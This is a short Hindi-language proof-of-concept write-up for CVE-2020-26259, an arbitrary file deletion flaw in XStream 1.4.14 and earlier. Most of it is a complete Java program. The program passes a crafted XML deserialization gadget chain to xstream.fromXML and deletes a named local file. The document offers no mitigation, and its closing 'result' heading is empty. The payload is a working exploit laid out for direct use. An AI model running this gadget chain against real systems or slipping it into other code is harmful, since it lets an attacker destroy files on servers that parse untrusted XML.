
CVE-2020-26259 &&XStream मनमाना फ़ाइल विलोपन
XStream अनमार्शलिंग करते समय स्थानीय होस्ट पर एक मनमाना फ़ाइल विलोपन के लिए असुरक्षित है, जब तक निष्पादित प्रक्रिया के पास पर्याप्त अधिकार हों।
Xstream <= 1.4.14
चरण 1:एक परीक्षण फ़ाइल तैयार करें जिसे भविष्य में हटाया जाएगा

चरण 2: POC
import com.thoughtworks.xstream.XStream;
public class CVE_2020_26259 {
public static void main(String[] args) {
String xml_poc = "<map>\n" +
" <entry>\n" +
" <jdk.nashorn.internal.objects.NativeString>\n" +
" <flags>0</flags>\n" +
" <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>\n" +
" <dataHandler>\n" +
" <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>\n" +
" <contentType>text/plain</contentType>\n" +
" <is class='com.sun.xml.internal.ws.util.ReadAllStream$FileStream'>\n" +
" <tempFile>C:\\Al1ex.txt</tempFile>\n" +
" </is>\n" +
" </dataSource>\n" +
" <transferFlavors/>\n" +
" </dataHandler>\n" +
" <dataLen>0</dataLen>\n" +
" </value>\n" +
" </jdk.nashorn.internal.objects.NativeString>\n" +
" <string>test</string>\n" +
" </entry>\n" +
"</map>";
XStream xstream = new XStream();
xstream.fromXML(xml_poc);
}
}
परिणाम:
